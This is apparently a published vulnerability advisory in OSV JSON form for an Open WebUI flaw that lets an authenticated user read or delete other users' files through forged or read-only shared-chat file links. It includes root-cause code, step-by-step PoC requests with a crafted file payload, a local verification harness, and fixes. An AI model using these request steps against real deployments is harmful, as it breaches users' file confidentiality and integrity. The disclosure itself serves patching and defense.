{"id":"PYSEC-2026-2763","summary":"Open WebUI: Forged chat-file link allows cross-user file read and deletion","details":"## Summary\n\nOpen WebUI `v0.9.5` lets an authenticated user attach arbitrary `file_id` values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, `has_access_to_file()` treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.\n\n## Impact\n\nSecurity boundary crossed: file confidentiality and integrity.\n\nAn authenticated attacker who knows or obtains a victim `file_id` can make Open WebUI authorize, through an attacker-owned shared chat:\n\n- reading the victim file via `GET /api/v1/files/{id}/content`, and\n- deleting the victim file via `DELETE /api/v1/files/{id}`.\n\n## Root Cause\n\nClient-controlled message file IDs are persisted without file authorization checks:\n\n```python\n# backend/open_webui/main.py\nawait Chats.insert_chat_files(\n    chat_id,\n    user_message.get('id'),\n    [\n        file_item.get('id')\n        for file_item in user_message_files\n        if file_item.get('type') == 'file'\n    ],\n    user.id,\n)\n```\n\n`insert_chat_files()` stores the provided IDs directly:\n\n```python\n# backend/open_webui/models/chats.py\nChatFileModel(\n    user_id=user_id,\n    chat_id=chat_id,\n    message_id=message_id,\n    file_id=file_id,\n)\n```\n\nLater, file authorization trusts shared-chat associations:\n\n```python\n# backend/open_webui/utils/access_control/files.py\nshared_chat_ids = await Chats.get_shared_chat_ids_by_file_id(file_id, db=db)\nif shared_chat_ids:\n    accessible_ids = await AccessGrants.get_accessible_resource_ids(\n        user_id=user.id,\n        resource_type='shared_chat',\n        resource_ids=shared_chat_ids,\n        permission='read',\n    )\n    if accessible_ids:\n        return True\n```\n\nThe download endpoint uses this helper:\n\n```python\n# backend/open_webui/routers/files.py\nif file.user_id == user.id or user.role == 'admin' or await has_access_to_file(id, 'read', user, db=db):\n    return FileResponse(file_path, ...)\n```\n\nOn affected versions this shared-chat branch is not gated on `access_type` (the grant lookup hardcodes `permission='read'`, but nothing checks that the request itself is a read). The same forged association therefore also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs, so the attacker can delete the victim file, not only read it.\n\nBecause the shared-chat branch ignores `access_type`, the deletion does not require the forged association at all. A user granted only **read** access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via `DELETE /api/v1/files/{id}`, since the read grant satisfies the `write` check. The forged association (above) broadens this to any victim `file_id`; a legitimate read-only share reaches it without any forgery.\n\n## PoC\n\n1. Attacker creates or uses a chat they own.\n2. Attacker sends `POST /api/chat/completions` or `POST /api/v1/chat/completions` where top-level `user_message.files` contains:\n\n```json\n[\n  {\n    \"type\": \"file\",\n    \"id\": \"VICTIM_FILE_ID\"\n  }\n]\n```\n\n3. Backend inserts a `chat_file` row linking the attacker chat to `VICTIM_FILE_ID`.\n4. Attacker shares the chat and grants read access to themselves or public access.\n5. Attacker requests:\n\n```text\nGET /api/v1/files/VICTIM_FILE_ID/content\n```\n\nExpected: 404/403 because the attacker does not own or otherwise have access to the victim file.\n\nActual: file authorization succeeds through the attacker-controlled shared-chat association.\n\n## Local Verification\n\nI verified the bug locally with Open WebUI's real `Chats.insert_chat_files()` and real `has_access_to_file()` implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code.\n\nResult:\n\n```json\n{\n  \"before_chat_file_link_attacker_can_read\": false,\n  \"insert_sink\": {\n    \"db_commit_called\": true,\n    \"insert_returned_rows\": true,\n    \"stored_chat_ids\": [\n      \"attacker-chat\"\n    ],\n    \"stored_file_ids\": [\n      \"victim-file\"\n    ],\n    \"stored_user_ids\": [\n      \"attacker\"\n    ]\n  },\n  \"after_attacker_shared_chat_links_victim_file_attacker_can_read\": true,\n  \"confirmed\": true\n}\n```\n\nPoC:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVerifier for chat-file link authorization bypass.\n\nThis intentionally avoids the app DB because the local Python 3.13 async SQLite\nstack hangs in this checkout. It still executes Open WebUI's real\nhas_access_to_file() implementation, with fake model adapters standing in for\nthe DB tables.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\ndef prepare_imports() -\u003e None:\n    repo_root = Path(__file__).resolve().parents[1]\n    sys.path.insert(0, str(repo_root / \"backend\"))\n    os.environ[\"VECTOR_DB\"] = \"none\"\n\n    class DummyTyper:\n        def command(self, *args, **kwargs):\n            return lambda fn: fn\n\n    sys.modules.setdefault(\n        \"typer\",\n        types.SimpleNamespace(\n            Typer=lambda *args, **kwargs: DummyTyper(),\n            Option=lambda *args, **kwargs: None,\n            echo=lambda *args, **kwargs: None,\n            Exit=Exception,\n        ),\n    )\n    sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeFiles:\n    async def get_file_by_id(self, file_id, db=None):\n        if file_id == \"victim-file\":\n            return SimpleNamespace(\n                id=\"victim-file\",\n                user_id=\"victim\",\n                meta={},\n            )\n        return None\n\n\nclass FakeKnowledges:\n    async def get_knowledges_by_file_id(self, file_id, db=None):\n        return []\n\n\nclass FakeGroups:\n    async def get_groups_by_member_id(self, user_id, db=None):\n        return []\n\n\nclass FakeChannels:\n    async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None):\n        return []\n\n\nclass FakeModels:\n    async def get_models_by_user_id(self, user_id, permission=\"read\", db=None):\n        return []\n\n\nclass FakeChats:\n    def __init__(self, linked: bool):\n        self.linked = linked\n\n    async def get_shared_chat_ids_by_file_id(self, file_id, db=None):\n        if self.linked and file_id == \"victim-file\":\n            # This mirrors a chat_file row tying victim-file to the attacker's\n            # shared chat. The real insertion sink is Chats.insert_chat_files().\n            return [\"attacker-chat\"]\n        return []\n\n\nclass FakeAccessGrants:\n    def __init__(self, granted: bool):\n        self.granted = granted\n\n    async def has_access(self, *args, **kwargs):\n        return False\n\n    async def get_accessible_resource_ids(\n        self,\n        user_id,\n        resource_type,\n        resource_ids,\n        permission=\"read\",\n        user_group_ids=None,\n        db=None,\n    ):\n        if (\n            self.granted\n            and user_id == \"attacker\"\n            and resource_type == \"shared_chat\"\n            and \"attacker-chat\" in resource_ids\n            and permission == \"read\"\n        ):\n            return {\"attacker-chat\"}\n        return set()\n\n\nclass FakeDb:\n    def __init__(self):\n        self.added = []\n        self.committed = False\n\n    def add_all(self, rows):\n        self.added.extend(rows)\n\n    async def commit(self):\n        self.committed = True\n\n\nclass FakeDbContext:\n    def __init__(self, db):\n        self.db = db\n\n    async def __aenter__(self):\n        return self.db\n\n    async def __aexit__(self, exc_type, exc, tb):\n        return False\n\n\nasync def verify_insert_sink_accepts_victim_file_id():\n    import open_webui.models.chats as chats_module\n\n    fake_db = FakeDb()\n    chats_table = chats_module.Chats\n\n    original_context = chats_module.get_async_db_context\n    original_existing = chats_table.get_chat_files_by_chat_id_and_message_id\n\n    async def fake_existing(self, chat_id, message_id, db=None):\n        return []\n\n    try:\n        chats_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n        chats_table.get_chat_files_by_chat_id_and_message_id = types.MethodType(fake_existing, chats_table)\n\n        inserted = await chats_table.insert_chat_files(\n            chat_id=\"attacker-chat\",\n            message_id=\"attacker-message\",\n            file_ids=[\"victim-file\"],\n            user_id=\"attacker\",\n        )\n    finally:\n        chats_module.get_async_db_context = original_context\n        chats_table.get_chat_files_by_chat_id_and_message_id = original_existing\n\n    return {\n        \"insert_returned_rows\": bool(inserted),\n        \"db_commit_called\": fake_db.committed,\n        \"stored_file_ids\": [getattr(row, \"file_id\", None) for row in fake_db.added],\n        \"stored_chat_ids\": [getattr(row, \"chat_id\", None) for row in fake_db.added],\n        \"stored_user_ids\": [getattr(row, \"user_id\", None) for row in fake_db.added],\n    }\n\n\nasync def main() -\u003e None:\n    prepare_imports()\n\n    import open_webui.utils.access_control.files as file_acl\n\n    attacker = SimpleNamespace(id=\"attacker\", role=\"user\")\n\n    original = {\n        \"Files\": file_acl.Files,\n        \"Knowledges\": file_acl.Knowledges,\n        \"Groups\": file_acl.Groups,\n        \"Channels\": file_acl.Channels,\n        \"Chats\": file_acl.Chats,\n        \"Models\": file_acl.Models,\n        \"AccessGrants\": file_acl.AccessGrants,\n    }\n\n    try:\n        file_acl.Files = FakeFiles()\n        file_acl.Knowledges = FakeKnowledges()\n        file_acl.Groups = FakeGroups()\n        file_acl.Channels = FakeChannels()\n        file_acl.Models = FakeModels()\n\n        file_acl.Chats = FakeChats(linked=False)\n        file_acl.AccessGrants = FakeAccessGrants(granted=False)\n        before = await file_acl.has_access_to_file(\"victim-file\", \"read\", attacker)\n\n        file_acl.Chats = FakeChats(linked=True)\n        file_acl.AccessGrants = FakeAccessGrants(granted=True)\n        after = await file_acl.has_access_to_file(\"victim-file\", \"read\", attacker)\n\n        insert_sink = await verify_insert_sink_accepts_victim_file_id()\n\n        result = {\n            \"victim_file_id\": \"victim-file\",\n            \"victim_file_owner\": \"victim\",\n            \"attacker_id\": \"attacker\",\n            \"attacker_owns_file\": False,\n            \"insert_sink\": insert_sink,\n            \"before_chat_file_link_attacker_can_read\": before,\n            \"after_attacker_shared_chat_links_victim_file_attacker_can_read\": after,\n            \"confirmed\": (\n                before is False\n                and after is True\n                and insert_sink[\"insert_returned_rows\"] is True\n                and insert_sink[\"stored_file_ids\"] == [\"victim-file\"]\n                and insert_sink[\"stored_user_ids\"] == [\"attacker\"]\n            ),\n            \"sink\": \"Chats.insert_chat_files() accepts caller-supplied file_ids without checking file ownership/read access\",\n        }\n        print(json.dumps(result, indent=2, sort_keys=True))\n    finally:\n        for name, value in original.items():\n            setattr(file_acl, name, value)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\n## Recommended Fix\n\nBefore calling `Chats.insert_chat_files()`, filter `user_message.files` to files the caller owns or can read:\n\n```python\nallowed_file_ids = []\nfor file_id in requested_file_ids:\n    file = await Files.get_file_by_id(file_id)\n    if file and (file.user_id == user.id or user.role == 'admin' or await has_access_to_file(file_id, 'read', user)):\n        allowed_file_ids.append(file_id)\n```\n\nAlso consider enforcing this inside `Chats.insert_chat_files()` so future call sites cannot create unauthorized `chat_file` associations.\n\nAdditionally, the shared-chat branch of `has_access_to_file()` should honour `access_type`, so a read grant cannot satisfy the write check used by file deletion.\n\n## Consolidation\n\nPer Open WebUI's Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:\n\n- Cross-user file READ via a forged `chat_file` association (`GET /api/v1/files/{id}/content`): @0xEr3n. Fixed by #25054, which gates `Chats.insert_chat_files()` so a caller can only link files they own or can read.\n- Cross-user file DELETION via the shared-chat branch ignoring `access_type` (`DELETE /api/v1/files/{id}`): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honour `access_type`.\n\nAffected: `\u003c= 0.9.5`. Patched: `\u003e= 0.9.6`. One CVE for the consolidated advisory.","aliases":["CVE-2026-54010","GHSA-vrhc-3fr6-pc3c"],"modified":"2026-07-13T16:32:25.010142087Z","published":"2026-07-13T15:46:19.223425Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-vrhc-3fr6-pc3c"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/pull/24755"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/pull/25054"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vrhc-3fr6-pc3c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54010"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.6"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.5"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2763.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"}]}